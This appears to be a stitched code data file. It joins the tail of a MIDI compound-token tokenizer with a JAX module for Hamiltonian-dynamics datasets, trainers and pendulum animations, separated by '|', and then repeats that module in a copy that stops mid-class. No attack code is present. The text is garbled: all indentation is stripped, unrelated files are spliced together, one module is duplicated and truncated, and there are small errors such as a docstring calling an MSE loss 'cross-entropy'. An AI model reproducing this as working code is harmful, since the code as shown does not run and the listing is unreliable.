tempo = int(compound_token[-1].value)
if tempo != tempo_changes[-1].tempo:
tempo_changes.append(TempoChange(tempo, current_tick))
elif compound_token[self.rest_idx].value != 'Ignore': # i.e. its a rest
if current_tick < previous_note_end: # if in case successive rest happen
current_tick = previous_note_end
beat, pos = map(int, compound_token[self.rest_idx].value.split('.'))
current_tick += beat * time_division + pos * ticks_per_sample
current_bar = current_tick // ticks_per_bar
if len(tempo_changes) > 1:
del tempo_changes[0]
tempo_changes[0].time = 0
return instrument, tempo_changes
def _create_vocabulary(self, sos_eos_tokens: bool = None) -> List[Vocabulary]:
""" Creates the Vocabulary object of the tokenizer.
See the docstring of the Vocabulary class for more details about how to use it.
:param sos_eos_tokens: DEPRECIATED, will include Start Of Sequence (SOS) and End Of Sequence (tokens)
:return: the vocabulary object
"""
if sos_eos_tokens is not None:
print(f'\033[93msos_eos_tokens argument is depreciated and will be removed in a future update, '
f'_create_vocabulary now uses self._sos_eos attribute set a class init \033[0m')
vocab = [Vocabulary({'PAD_None': 0}, sos_eos=self._sos_eos, mask=self._mask) for _ in range(5)]
vocab[0].add_event('Family_Metric')
vocab[0].add_event('Family_Note')
# POSITION
nb_positions = max(self.beat_res.values()) * 4 # 4/* time signature
vocab[1].add_event('Position_Ignore')
vocab[1].add_event('Bar_None')
vocab[1].add_event(f'Position_{i}' for i in range(nb_positions))
# PITCH
vocab[2].add_event('Pitch_Ignore')
vocab[2].add_event(f'Pitch_{i}' for i in self.pitch_range)
# VELOCITY
vocab[3].add_event('Velocity_Ignore')
vocab[3].add_event(f'Velocity_{i}' for i in self.velocities)
# DURATION
vocab[4].add_event('Duration_Ignore')
vocab[4].add_event(f'Duration_{".".join(map(str, duration))}' for duration in self.durations)
# PROGRAM
if self.additional_tokens['Program']:
vocab.append(Vocabulary({'PAD_None': 0}, sos_eos=self._sos_eos, mask=self._mask))
vocab[-1].add_event('Program_Ignore')
vocab[-1].add_event(f'Program_{program}' for program in range(-1, 128))
# CHORD
if self.additional_tokens['Chord']:
vocab.append(Vocabulary({'PAD_None': 0}, sos_eos=self._sos_eos, mask=self._mask))
vocab[-1].add_event('Chord_Ignore')
vocab[-1].add_event(f'Chord_{i}' for i in range(3, 6)) # non recognized chords (between 3 and 5 notes)
vocab[-1].add_event(f'Chord_{chord_quality}' for chord_quality in CHORD_MAPS)
# REST
if self.additional_tokens['Rest']:
vocab.append(Vocabulary({'PAD_None': 0}, sos_eos=self._sos_eos, mask=self._mask))
vocab[-1].add_event('Rest_Ignore')
vocab[-1].add_event(f'Rest_{".".join(map(str, rest))}' for rest in self.rests)
# TEMPO
if self.additional_tokens['Tempo']:
vocab.append(Vocabulary({'PAD_None': 0}, sos_eos=self._sos_eos, mask=self._mask))
vocab[-1].add_event('Tempo_Ignore')
vocab[-1].add_event(f'Tempo_{i}' for i in self.tempos)
return vocab
def _create_token_types_graph(self) -> Dict[str, List[str]]:
""" Returns a graph (as a dictionary) of the possible token
types successions.
As with CP the tokens types are "merged", each state here corresponds to
a "compound" token, which is characterized by the token types Program, Bar,
Position/Chord/Tempo and Pitch/Velocity/Duration
Here the combination of Pitch, Velocity and Duration tokens is represented by
"Pitch" in the graph.
NOTE: Program type is not referenced here, you can add it manually by
modifying the tokens_types_graph class attribute following your strategy.
:return: the token types transitions dictionary
"""
dic = dict()
dic['Bar'] = ['Position', 'Bar']
dic['Position'] = ['Pitch']
dic['Pitch'] = ['Pitch', 'Bar', 'Position']
if self.additional_tokens['Chord']:
dic['Rest'] = ['Rest', 'Position']
dic['Pitch'] += ['Rest']
if self.additional_tokens['Rest']:
dic['Rest'] = ['Rest', 'Position', 'Bar']
dic['Pitch'] += ['Rest']
self._add_pad_type_to_graph(dic)
return dic
def token_types_errors(self, tokens: List[List[int]], consider_pad: bool = False) -> float:
""" Checks if a sequence of tokens is constituted of good token types
successions and returns the error ratio (lower is better).
The Pitch and Position values are also analyzed:
- a position token cannot have a value <= to the current position (it would go back in time)
- a pitch token should not be present if the same pitch is already played at the current position
:param tokens: sequence of tokens to check
:param consider_pad: if True will continue the error detection after the first PAD token (default: False)
:return: the error ratio (lower is better)
"""
def cp_token_type(tok: List[int]) -> Tuple[str, str]:
family = self.vocab[0].token_to_event[tok[0]].split('_')[1]
if family == 'Note':
return self.vocab[2].token_to_event[tok[2]].split('_')
elif family == 'Metric':
bar_pos = self.vocab[1].token_to_event[tok[1]].split('_')
if bar_pos[1] != 'Ignore':
return bar_pos
else: # additional token
for i in range(1, 5):
decoded_token = self.vocab[-i].token_to_event[tok[-i]].split('_')
if decoded_token[1] != 'Ignore':
return decoded_token
raise RuntimeError('No token type found, unknown error')
elif family == 'None':
return 'PAD', 'None'
else: # Program
raise RuntimeError('No token type found, unknown error')
err = 0
previous_type = cp_token_type(tokens[0])[0]
current_pos = -1
current_pitches = []
def check(tok: List[int]):
nonlocal err, previous_type, current_pos, current_pitches
token_type, token_value = cp_token_type(tok)
# Good token type
if token_type in self.tokens_types_graph[previous_type]:
if token_type == 'Bar': # reset
current_pos = -1
current_pitches = []
elif token_type == 'Pitch':
if int(token_value) in current_pitches:
err += 1 # pitch already played at current position
else:
current_pitches.append(int(token_value))
elif token_type == 'Position':
if int(token_value) <= current_pos and previous_type != 'Rest':
err += 1 # token position value <= to the current position
else:
current_pos = int(token_value)
current_pitches = []
# Bad token type
else:
err += 1
previous_type = token_type
if consider_pad:
for token in tokens[1:]:
check(token)
else:
for token in tokens[1:]:
if previous_type == 'PAD':
break
check(token)
return err / len(tokens)
|
import jax.numpy as jnp
from jax import grad, jit, vmap, jacfwd, jvp, vjp
from jax import random
import numpy as np
import jax.numpy as jnp
from jax.experimental.ode import odeint
from torch.utils.data import Dataset
from emlp.groups import SO2eR3,O2eR3,DkeR3,Trivial
from emlp.reps import T,Scalar
from oil.utils.utils import Named
from oil.tuning.configGenerator import flatten_dict
import os
import torch
import torch
import torch.nn as nn
from oil.utils.utils import export
import jax
from jax import vmap
import jax.numpy as jnp
import numpy as np
import objax
from .classifier import Regressor,Classifier
#from emlp_jax.model_trainer import RegressorPlus
from functools import partial
from itertools import islice
def unpack(z):
D = jnp.shape(z)[-1]
assert D % 2 == 0
d = D//2
q, p_or_v = z[..., :d], z[..., d:]
return q, p_or_v
def pack(q, p_or_v):
return jnp.concatenate([q, p_or_v], axis=-1)
def symplectic_form(z):
q, p = unpack(z)
return pack(p, -q)
def hamiltonian_dynamics(hamiltonian, z,t):
grad_h = grad(hamiltonian)
gh = grad_h(z)
return symplectic_form(gh)
def HamiltonianFlow(H,z0,T):
dynamics = lambda z,t: hamiltonian_dynamics(H,z,t)
return odeint(dynamics, z0, T, rtol=1e-4, atol=1e-4)#.transpose((1,0,2))
def BHamiltonianFlow(H,z0,T,tol=1e-4):
dynamics = jit(vmap(jit(partial(hamiltonian_dynamics,H)),(0,None)))
return odeint(dynamics, z0, T, rtol=tol).transpose((1,0,2))
def BOdeFlow(dynamics,z0,T,tol=1e-4):
dynamics = jit(vmap(jit(dynamics),(0,None)))
return odeint(dynamics, z0, T, rtol=tol).transpose((1,0,2))
#BHamiltonianFlow = jit(vmap(HamiltonianFlow,(None,0,None)),static_argnums=(0,))
class HamiltonianDataset(Dataset):
def __init__(self,n_systems=100,chunk_len=5,dt=0.2,integration_time=30,regen=False):
super().__init__()
root_dir = os.path.expanduser(f"~/datasets/ODEDynamics/{self.__class__}/")
filename = os.path.join(root_dir, f"trajectories_{n_systems}_{chunk_len}_{dt}_{integration_time}.pz")
if os.path.exists(filename) and not regen:
Zs = torch.load(filename)
else:
zs = self.generate_trajectory_data(n_systems, dt, integration_time)
Zs = np.asarray(self.chunk_training_data(zs, chunk_len))
os.makedirs(root_dir, exist_ok=True)
torch.save(Zs, filename)
self.Zs = Zs
self.T = np.asarray(jnp.arange(0, chunk_len*dt, dt))
self.T_long = np.asarray(jnp.arange(0,integration_time,dt))
def __len__(self):
return self.Zs.shape[0]
def __getitem__(self, i):
return (self.Zs[i, 0], self.T), self.Zs[i]
def integrate(self,z0s,ts):
return HamiltonianFlow(self.H,z0s, ts)
def generate_trajectory_data(self, n_systems, dt, integration_time, bs=100):
""" Returns ts: (n_systems, traj_len) zs: (n_systems, traj_len, z_dim) """
n_gen = 0; bs = min(bs, n_systems)
t_batches, z_batches = [], []
while n_gen < n_systems:
z0s = self.sample_initial_conditions(bs)
ts = jnp.arange(0, integration_time, dt)
new_zs = BHamiltonianFlow(self.H,z0s, ts)
z_batches.append(new_zs)
n_gen += bs
zs = jnp.concatenate(z_batches, axis=0)[:n_systems]
return zs
def chunk_training_data(self, zs, chunk_len):
batch_size, traj_len, *z_dim = zs.shape
n_chunks = traj_len // chunk_len
chunk_idx = np.random.randint(0, n_chunks, (batch_size,))
chunked_zs = np.stack(np.split(zs,n_chunks, axis=1))
chosen_zs = chunked_zs[chunk_idx, np.arange(batch_size)]
return chosen_zs
def H(self,z):
raise NotImplementedError
def sample_initial_conditions(self,bs):
raise NotImplementedError
def animate(self, zt=None):
if zt is None:
zt = np.asarray(self.integrate(self.sample_initial_conditions(10)[0],self.T_long))
# bs, T, 2nd
if len(zt.shape) == 3:
j = np.random.randint(zt.shape[0])
zt = zt[j]
xt,pt = unpack(zt)
xt = xt.reshape((xt.shape[0],-1,3))
anim = self.animator(xt)
return anim.animate()
class SHO(HamiltonianDataset):
def H(self,z):
ke = (z[...,1]**2).sum()/2
pe = (z[...,0]**2).sum()/2
return ke+pe
def sample_initial_conditions(self,bs):
return np.random.randn(bs,2)
class DoubleSpringPendulum(HamiltonianDataset):
def __init__(self,*args,**kwargs):
super().__init__(*args,**kwargs)
self.rep_in = 4*T(1)#Vector
self.rep_out = T(0)#Scalar
self.symmetry = O2eR3()
self.stats = (0,1,0,1)
def H(self,z):
g=1
m1,m2,k1,k2,l1,l2 = 1,1,1,1,1,1
x,p = unpack(z)
p1,p2 = unpack(p)
x1,x2 = unpack(x)
ke = .5*(p1**2).sum(-1)/m1 + .5*(p2**2).sum(-1)/m2
pe = .5*k1*(jnp.sqrt((x1**2).sum(-1))-l1)**2
pe += k2*(jnp.sqrt(((x1-x2)**2).sum(-1))-l2)**2
pe += m1*g*x1[...,2]+m2*g*x2[...,2]
return (ke + pe).sum()
def sample_initial_conditions(self,bs):
x1 = np.array([0,0,-1.5]) +.2*np.random.randn(bs,3)
x2= np.array([0,0,-3.]) +.2*np.random.randn(bs,3)
p = .4*np.random.randn(bs,6)
z0 = np.concatenate([x1,x2,p],axis=-1)
return z0
@property
def animator(self):
return CoupledPendulumAnimation
class IntegratedDynamicsTrainer(Regressor):
def __init__(self,model,*args,**kwargs):
super().__init__(model,*args,**kwargs)
self.loss = objax.Jit(self.loss,model.vars())
#self.model = objax.Jit(self.model)
self.gradvals = objax.Jit(objax.GradValues(self.loss,model.vars()))#objax.Jit(objax.GradValues(fastloss,model.vars()),model.vars())
#self.model.predict = objax.Jit(objax.ForceArgs(model.__call__,training=False),model.vars())
def loss(self, minibatch):
""" Standard cross-entropy loss """
(z0, ts), true_zs = minibatch
pred_zs = BHamiltonianFlow(self.model,z0,ts[0])
return jnp.mean((pred_zs - true_zs)**2)
def metrics(self, loader):
mse = lambda mb: np.asarray(self.loss(mb))
return {"MSE": self.evalAverageMetrics(loader, mse)}
def logStuff(self, step, minibatch=None):
loader = self.dataloaders['test']
metrics = {'test_Rollout': np.exp(self.evalAverageMetrics(loader,partial(log_rollout_error,loader.dataset,self.model)))}
self.logger.add_scalars('metrics', metrics, step)
super().logStuff(step,minibatch)
class IntegratedODETrainer(Regressor):
def __init__(self,model,*args,**kwargs):
super().__init__(model,*args,**kwargs)
self.loss = objax.Jit(self.loss,model.vars())
#self.model = objax.Jit(self.model)
self.gradvals = objax.Jit(objax.GradValues(self.loss,model.vars()))#objax.Jit(objax.GradValues(fastloss,model.vars()),model.vars())
#self.model.predict = objax.Jit(objax.ForceArgs(model.__call__,training=False),model.vars())
def loss(self, minibatch):
""" Standard cross-entropy loss """
(z0, ts), true_zs = minibatch
pred_zs = BOdeFlow(self.model,z0,ts[0])
return jnp.mean((pred_zs - true_zs)**2)
def metrics(self, loader):
mse = lambda mb: np.asarray(self.loss(mb))
return {"MSE": self.evalAverageMetrics(loader, mse)}
def logStuff(self, step, minibatch=None):
loader = self.dataloaders['test']
metrics = {'test_Rollout': np.exp(self.evalAverageMetrics(loader,partial(log_rollout_error_ode,loader.dataset,self.model)))}
self.logger.add_scalars('metrics', metrics, step)
super().logStuff(step,minibatch)
def rel_err(a,b):
return jnp.sqrt(((a-b)**2).mean())/(jnp.sqrt((a**2).mean())+jnp.sqrt((b**2).mean()))#
def log_rollout_error(ds,model,minibatch):
(z0, _), _ = minibatch
pred_zs = BHamiltonianFlow(model,z0,ds.T_long)
gt_zs = BHamiltonianFlow(ds.H,z0,ds.T_long)
errs = vmap(vmap(rel_err))(pred_zs,gt_zs) # (bs,T,)
clamped_errs = jax.lax.clamp(1e-7,errs,np.inf)
log_geo_mean = jnp.log(clamped_errs).mean()
return log_geo_mean
def pred_and_gt(ds,model,minibatch):
(z0, _), _ = minibatch
pred_zs = BHamiltonianFlow(model,z0,ds.T_long,tol=2e-6)
gt_zs = BHamiltonianFlow(ds.H,z0,ds.T_long,tol=2e-6)
return np.stack([pred_zs,gt_zs],axis=-1)
def log_rollout_error_ode(ds,model,minibatch):
(z0, _), _ = minibatch
pred_zs = BOdeFlow(model,z0,ds.T_long)
gt_zs = BHamiltonianFlow(ds.H,z0,ds.T_long)
errs = vmap(vmap(rel_err))(pred_zs,gt_zs) # (bs,T,)
clamped_errs = jax.lax.clamp(1e-7,errs,np.inf)
log_geo_mean = jnp.log(clamped_errs).mean()
return log_geo_mean
def pred_and_gt_ode(ds,model,minibatch):
(z0, _), _ = minibatch
pred_zs = BOdeFlow(model,z0,ds.T_long,tol=2e-6)
gt_zs = BHamiltonianFlow(ds.H,z0,ds.T_long,tol=2e-6)
return np.stack([pred_zs,gt_zs],axis=-1)
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.animation as animation
import numpy as np
class Animation(object):
def __init__(self, qt,lims=None,traj_lw=1,figkwargs={}):
""" [qt (T,n,d)"""
self.qt = qt
T,n,d = qt.shape
assert d in (2,3), "too many dimensions for animation"
self.fig = plt.figure(**figkwargs)
self.ax = self.fig.add_axes([0, 0, 1, 1],projection='3d') if d==3 else self.fig.add_axes([0, 0, 1, 1])
#self.ax.axis('equal')
xyzmin = self.qt.min(0).min(0)#.min(dim=0)[0].min(dim=0)[0]
xyzmax = self.qt.max(0).max(0)#.max(dim=0)[0].max(dim=0)[0]
delta = xyzmax-xyzmin
lower = xyzmin-.1*delta; upper = xyzmax+.1*delta
if lims is None:
lims = (min(lower),max(upper)),(min(lower),max(upper)),(min(lower),max(upper))
self.ax.set_xlim(lims[0])
self.ax.set_ylim(lims[1])
if d==3: self.ax.set_zlim(lims[2])
if d!=3: self.ax.set_aspect("equal")
#elf.ax.auto_scale_xyz()
empty = d*[[]]
self.colors = np.random.choice([f"C{i}" for i in range(10)],size=n,replace=False)
self.objects = {
'pts':sum([self.ax.plot(*empty, "o", ms=6,color=self.colors[i]) for i in range(n)], []),
'traj_lines':sum([self.ax.plot(*empty, "-",color=self.colors[i],lw=traj_lw) for i in range(n)], []),
}
def init(self):
empty = 2*[[]]
for obj in self.objects.values():
for elem in obj:
elem.set_data(*empty)
#if self.qt.shape[-1]==3: elem.set_3d_properties([])
return sum(self.objects.values(),[])
def update(self, i=0):
T,n,d = self.qt.shape
trail_len = 150
for j in range(n):
# trails
xyz = self.qt[max(i - trail_len,0): i + 1,j,:]
#chunks = xyz.shape[0]//10
#xyz_chunks = torch.chunk(xyz,chunks)
#for i,xyz in enumerate(xyz_chunks):
self.objects['traj_lines'][j].set_data(*xyz[...,:2].T)
if d==3: self.objects['traj_lines'][j].set_3d_properties(xyz[...,2].T)
self.objects['pts'][j].set_data(*xyz[-1:,...,:2].T)
if d==3: self.objects['pts'][j].set_3d_properties(xyz[-1:,...,2].T)
#self.fig.canvas.draw()
return sum(self.objects.values(),[])
def animate(self):
return animation.FuncAnimation(self.fig,self.update,frames=self.qt.shape[0],
interval=33,init_func=self.init,blit=True).to_html5_video()
class PendulumAnimation(Animation):
def __init__(self, qt,*args,**kwargs):
super().__init__(qt,*args,**kwargs)
empty = self.qt.shape[-1] * [[]]
self.objects["pts"] = sum([self.ax.plot(*empty, "o", ms=10,c=self.colors[i]) for i in range(self.qt.shape[1])], [])
def update(self, i=0):
return super().update(i)
def helix(Ns=1000,radius=.05,turns=25):
t = np.linspace(0,1,Ns)
xyz = np.zeros((Ns,3))
xyz[:,0] = np.cos(2*np.pi*Ns*t*turns)*radius
xyz[:,1] = np.sin(2*np.pi*Ns*t*turns)*radius
xyz[:,2] = t
xyz[:,:2][(t>.9)|(t<.1)]=0
return xyz
def align2ref(refs,vecs):
""" inputs [refs (n,3), vecs (N,3)]
outputs [aligned (n,N,3)]
assumes vecs are pointing along z axis"""
n,_ = refs.shape
N,_ = vecs.shape
norm = np.sqrt((refs**2).sum(-1))
v = refs/norm[:,None]
A = np.zeros((n,3,3))
A[:,:,2] += v
A[:,2,:] -= v
M = (np.eye(3)+A+(A@A)/(1+v[:,2,None,None]))
scaled_vecs = vecs[None]+0*norm[:,None,None] #broadcast to right shape
scaled_vecs[:,:,2] *= norm[:,None]#[:,None,None]
return (M[:,None]@scaled_vecs[...,None]).squeeze(-1)
class CoupledPendulumAnimation(PendulumAnimation):
def __init__(self, *args, spring_lw=.6,spring_r=.2,**kwargs):
super().__init__(*args, **kwargs)
empty = self.qt.shape[-1]*[[]]
self.objects["springs"] = self.ax.plot(*empty,c='k',lw=spring_lw)#
#self.objects["springs"] = sum([self.ax.plot(*empty,c='k',lw=2) for _ in range(self.n-1)],[])
self.helix = helix(200,radius=spring_r,turns=10)
def update(self,i=0):
qt_padded = np.concatenate([0*self.qt[i,:1],self.qt[i,:]],axis=0)
diffs = qt_padded[1:]-qt_padded[:-1]
x,y,z = (align2ref(diffs,self.helix)+qt_padded[:-1][:,None]).reshape(-1,3).T
self.objects['springs'][0].set_data(x,y)
self.objects['springs'][0].set_3d_properties(z)
return super().update(i)
from collections.abc import Iterable
@export
class hnn_trial(object):
""" Assumes trainer is an object of type Trainer, trains for num_epochs which may be an
integer or an iterable containing intermediate points at which to save.
Pulls out special (resume, save, early_stop_metric, local_rank) args from the cfg """
def __init__(self,make_trainer,strict=True):
self.make_trainer = make_trainer
self.strict=strict
def __call__(self,cfg,i=None):
try:
cfg.pop('local_rank',None) #TODO: properly handle distributed
resume = cfg.pop('resume',False)
save = cfg.pop('save',False)
if i is not None:
orig_suffix = cfg.setdefault('trainer_config',{}).get('log_suffix','')
cfg['trainer_config']['log_suffix'] = os.path.join(orig_suffix,f'trial{i}/')
trainer = self.make_trainer(**cfg)
trainer.logger.add_scalars('config',flatten_dict(cfg))
epochs = cfg['num_epochs'] if isinstance(cfg['num_epochs'],Iterable) else [cfg['num_epochs']]
if resume: trainer.load_checkpoint(None if resume==True else resume)
epochs = [e for e in epochs if e>trainer.epoch]
for epoch in epochs:
trainer.train_to(epoch)
if save: cfg['saved_at']=trainer.save_checkpoint()
outcome = trainer.ckpt['outcome']
trajectories = []
for mb in trainer.dataloaders['test']:
trajectories.append(pred_and_gt(trainer.dataloaders['test'].dataset,trainer.model,mb))
torch.save(np.concatenate(trajectories),f"./{cfg["network"]}_{cfg["net_config"]["group"]}_{i}.t")
except Exception as e:
if self.strict: raise
outcome = e
del trainer
return cfg, outcome
@export
class ode_trial(object):
""" Assumes trainer is an object of type Trainer, trains for num_epochs which may be an
integer or an iterable containing intermediate points at which to save.
Pulls out special (resume, save, early_stop_metric, local_rank) args from the cfg """
def __init__(self,make_trainer,strict=True):
self.make_trainer = make_trainer
self.strict=strict
def __call__(self,cfg,i=None):
try:
cfg.pop('local_rank',None) #TODO: properly handle distributed
resume = cfg.pop('resume',False)
save = cfg.pop('save',False)
if i is not None:
orig_suffix = cfg.setdefault('trainer_config',{}).get('log_suffix','')
cfg['trainer_config']['log_suffix'] = os.path.join(orig_suffix,f'trial{i}/')
trainer = self.make_trainer(**cfg)
trainer.logger.add_scalars('config',flatten_dict(cfg))
epochs = cfg['num_epochs'] if isinstance(cfg['num_epochs'],Iterable) else [cfg['num_epochs']]
if resume: trainer.load_checkpoint(None if resume==True else resume)
epochs = [e for e in epochs if e>trainer.epoch]
for epoch in epochs:
trainer.train_to(epoch)
if save: cfg['saved_at']=trainer.save_checkpoint()
outcome = trainer.ckpt['outcome']
trajectories = []
for mb in trainer.dataloaders['test']:
trajectories.append(pred_and_gt_ode(trainer.dataloaders['test'].dataset,trainer.model,mb))
torch.save(np.concatenate(trajectories),f"./{cfg["network"]}_{cfg["net_config"]["group"]}_{i}.t")
except Exception as e:
if self.strict: raise
outcome = e
del trainer
return cfg, outcome
| import jax.numpy as jnp
from jax import grad, jit, vmap, jacfwd, jvp, vjp
from jax import random
import numpy as np
import jax.numpy as jnp
from jax.experimental.ode import odeint
from torch.utils.data import Dataset
from emlp.groups import SO2eR3,O2eR3,DkeR3,Trivial
from emlp.reps import T,Scalar
from oil.utils.utils import Named
from oil.tuning.configGenerator import flatten_dict
import os
import torch
import torch
import torch.nn as nn
from oil.utils.utils import export
import jax
from jax import vmap
import jax.numpy as jnp
import numpy as np
import objax
from .classifier import Regressor,Classifier
#from emlp_jax.model_trainer import RegressorPlus
from functools import partial
from itertools import islice
def unpack(z):
D = jnp.shape(z)[-1]
assert D % 2 == 0
d = D//2
q, p_or_v = z[..., :d], z[..., d:]
return q, p_or_v
def pack(q, p_or_v):
return jnp.concatenate([q, p_or_v], axis=-1)
def symplectic_form(z):
q, p = unpack(z)
return pack(p, -q)
def hamiltonian_dynamics(hamiltonian, z,t):
grad_h = grad(hamiltonian)
gh = grad_h(z)
return symplectic_form(gh)
def HamiltonianFlow(H,z0,T):
dynamics = lambda z,t: hamiltonian_dynamics(H,z,t)
return odeint(dynamics, z0, T, rtol=1e-4, atol=1e-4)#.transpose((1,0,2))
def BHamiltonianFlow(H,z0,T,tol=1e-4):
dynamics = jit(vmap(jit(partial(hamiltonian_dynamics,H)),(0,None)))
return odeint(dynamics, z0, T, rtol=tol).transpose((1,0,2))
def BOdeFlow(dynamics,z0,T,tol=1e-4):
dynamics = jit(vmap(jit(dynamics),(0,None)))
return odeint(dynamics, z0, T, rtol=tol).transpose((1,0,2))
#BHamiltonianFlow = jit(vmap(HamiltonianFlow,(None,0,None)),static_argnums=(0,))
class HamiltonianDataset(Dataset):
def __init__(self,n_systems=100,chunk_len=5,dt=0.2,integration_time=30,regen=False):
super().__init__()
root_dir = os.path.expanduser(f"~/datasets/ODEDynamics/{self.__class__}/")
filename = os.path.join(root_dir, f"trajectories_{n_systems}_{chunk_len}_{dt}_{integration_time}.pz")
if os.path.exists(filename) and not regen:
Zs = torch.load(filename)
else:
zs = self.generate_trajectory_data(n_systems, dt, integration_time)
Zs = np.asarray(self.chunk_training_data(zs, chunk_len))
os.makedirs(root_dir, exist_ok=True)
torch.save(Zs, filename)
self.Zs = Zs
self.T = np.asarray(jnp.arange(0, chunk_len*dt, dt))
self.T_long = np.asarray(jnp.arange(0,integration_time,dt))
def __len__(self):
return self.Zs.shape[0]
def __getitem__(self, i):
return (self.Zs[i, 0], self.T), self.Zs[i]
def integrate(self,z0s,ts):
return HamiltonianFlow(self.H,z0s, ts)
def generate_trajectory_data(self, n_systems, dt, integration_time, bs=100):
""" Returns ts: (n_systems, traj_len) zs: (n_systems, traj_len, z_dim) """
n_gen = 0; bs = min(bs, n_systems)
t_batches, z_batches = [], []
while n_gen < n_systems:
z0s = self.sample_initial_conditions(bs)
ts = jnp.arange(0, integration_time, dt)
new_zs = BHamiltonianFlow(self.H,z0s, ts)
z_batches.append(new_zs)
n_gen += bs
zs = jnp.concatenate(z_batches, axis=0)[:n_systems]
return zs
def chunk_training_data(self, zs, chunk_len):
batch_size, traj_len, *z_dim = zs.shape
n_chunks = traj_len // chunk_len
chunk_idx = np.random.randint(0, n_chunks, (batch_size,))
chunked_zs = np.stack(np.split(zs,n_chunks, axis=1))
chosen_zs = chunked_zs[chunk_idx, np.arange(batch_size)]
return chosen_zs
def H(self,z):
raise NotImplementedError
def sample_initial_conditions(self,bs):
raise NotImplementedError
def animate(self, zt=None):
if zt is None:
zt = np.asarray(self.integrate(self.sample_initial_conditions(10)[0],self.T_long))
# bs, T, 2nd
if len(zt.shape) == 3:
j = np.random.randint(zt.shape[0])
zt = zt[j]
xt,pt = unpack(zt)
xt = xt.reshape((xt.shape[0],-1,3))
anim = self.animator(xt)
return anim.animate()
class SHO(HamiltonianDataset):
def H(self,z):
ke = (z[...,1]**2).sum()/2
pe = (z[...,0]**2).sum()/2
return ke+pe
def sample_initial_conditions(self,bs):
return np.random.randn(bs,2)
class DoubleSpringPendulum(HamiltonianDataset):
def __init__(self,*args,**kwargs):
super().__init__(*args,**kwargs)
self.rep_in = 4*T(1)#Vector
self.rep_out = T(0)#Scalar
self.symmetry = O2eR3()
self.stats = (0,1,0,1)
def H(self,z):
g=1
m1,m2,k1,k2,l1,l2 = 1,1,1,1,1,1
x,p = unpack(z)
p1,p2 = unpack(p)
x1,x2 = unpack(x)
ke = .5*(p1**2).sum(-1)/m1 + .5*(p2**2).sum(-1)/m2
pe = .5*k1*(jnp.sqrt((x1**2).sum(-1))-l1)**2
pe += k2*(jnp.sqrt(((x1-x2)**2).sum(-1))-l2)**2
pe += m1*g*x1[...,2]+m2*g*x2[...,2]
return (ke + pe).sum()
def sample_initial_conditions(self,bs):
x1 = np.array([0,0,-1.5]) +.2*np.random.randn(bs,3)
x2= np.array([0,0,-3.]) +.2*np.random.randn(bs,3)
p = .4*np.random.randn(bs,6)
z0 = np.concatenate([x1,x2,p],axis=-1)
return z0
@property
def animator(self):
return CoupledPendulumAnimation
class IntegratedDynamicsTrainer(Regressor):
def __init__(self,model,*args,**kwargs):
super().__init__(model,*args,**kwargs)
self.loss = objax.Jit(self.loss,model.vars())
#self.model = objax.Jit(self.model)
self.gradvals = objax.Jit(objax.GradValues(self.loss,model.vars()))#objax.Jit(objax.GradValues(fastloss,model.vars()),model.vars())
#self.model.predict = objax.Jit(objax.ForceArgs(model.__call__,training=False),model.vars())
def loss(self, minibatch):
""" Standard cross-entropy loss """
(z0, ts), true_zs = minibatch
pred_zs = BHamiltonianFlow(self.model,z0,ts[0])
return jnp.mean((pred_zs - true_zs)**2)
def metrics(self, loader):
mse = lambda mb: np.asarray(self.loss(mb))
return {"MSE": self.evalAverageMetrics(loader, mse)}
def logStuff(self, step, minibatch=None):
loader = self.dataloaders['test']
metrics = {'test_Rollout': np.exp(self.evalAverageMetrics(loader,partial(log_rollout_error,loader.dataset,self.model)))}
self.logger.add_scalars('metrics', metrics, step)
super().logStuff(step,minibatch)
class IntegratedODETrainer(Regressor):
def __init__(self,model,*args,**kwargs):
super().__init__(model,*args,**kwargs)
self.loss = objax.Jit(self.loss,model.vars())
#self.model = objax.Jit(self.model)
self.gradvals = objax.Jit(objax.GradValues(self.loss,model.vars()))#objax.Jit(objax.GradValues(fastloss,model.vars()),model.vars())
#self.model.predict = objax.Jit(objax.ForceArgs(model.__call__,training=False),model.vars())
def loss(self, minibatch):
""" Standard cross-entropy loss """
(z0, ts), true_zs = minibatch
pred_zs = BOdeFlow(self.model,z0,ts[0])
return jnp.mean((pred_zs - true_zs)**2)
def metrics(self, loader):
mse = lambda mb: np.asarray(self.loss(mb))
return {"MSE": self.evalAverageMetrics(loader, mse)}
def logStuff(self, step, minibatch=None):
loader = self.dataloaders['test']
metrics = {'test_Rollout': np.exp(self.evalAverageMetrics(loader,partial(log_rollout_error_ode,loader.dataset,self.model)))}
self.logger.add_scalars('metrics', metrics, step)
super().logStuff(step,minibatch)
def rel_err(a,b):
return jnp.sqrt(((a-b)**2).mean())/(jnp.sqrt((a**2).mean())+jnp.sqrt((b**2).mean()))#
def log_rollout_error(ds,model,minibatch):
(z0, _), _ = minibatch
pred_zs = BHamiltonianFlow(model,z0,ds.T_long)
gt_zs = BHamiltonianFlow(ds.H,z0,ds.T_long)
errs = vmap(vmap(rel_err))(pred_zs,gt_zs) # (bs,T,)
clamped_errs = jax.lax.clamp(1e-7,errs,np.inf)
log_geo_mean = jnp.log(clamped_errs).mean()
return log_geo_mean
def pred_and_gt(ds,model,minibatch):
(z0, _), _ = minibatch
pred_zs = BHamiltonianFlow(model,z0,ds.T_long,tol=2e-6)
gt_zs = BHamiltonianFlow(ds.H,z0,ds.T_long,tol=2e-6)
return np.stack([pred_zs,gt_zs],axis=-1)
def log_rollout_error_ode(ds,model,minibatch):
(z0, _), _ = minibatch
pred_zs = BOdeFlow(model,z0,ds.T_long)
gt_zs = BHamiltonianFlow(ds.H,z0,ds.T_long)
errs = vmap(vmap(rel_err))(pred_zs,gt_zs) # (bs,T,)
clamped_errs = jax.lax.clamp(1e-7,errs,np.inf)
log_geo_mean = jnp.log(clamped_errs).mean()
return log_geo_mean
def pred_and_gt_ode(ds,model,minibatch):
(z0, _), _ = minibatch
pred_zs = BOdeFlow(model,z0,ds.T_long,tol=2e-6)
gt_zs = BHamiltonianFlow(ds.H,z0,ds.T_long,tol=2e-6)
return np.stack([pred_zs,gt_zs],axis=-1)
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.animation as animation
import numpy as np
class Animation(object):
def __init__(self, qt,lims=None,traj_lw=1,figkwargs={}):
""" [qt (T,n,d)"""
self.qt = qt
T,n,d = qt.shape
assert d in (2,3), "too many dimensions for animation"
self.fig = plt.figure(**figkwargs)
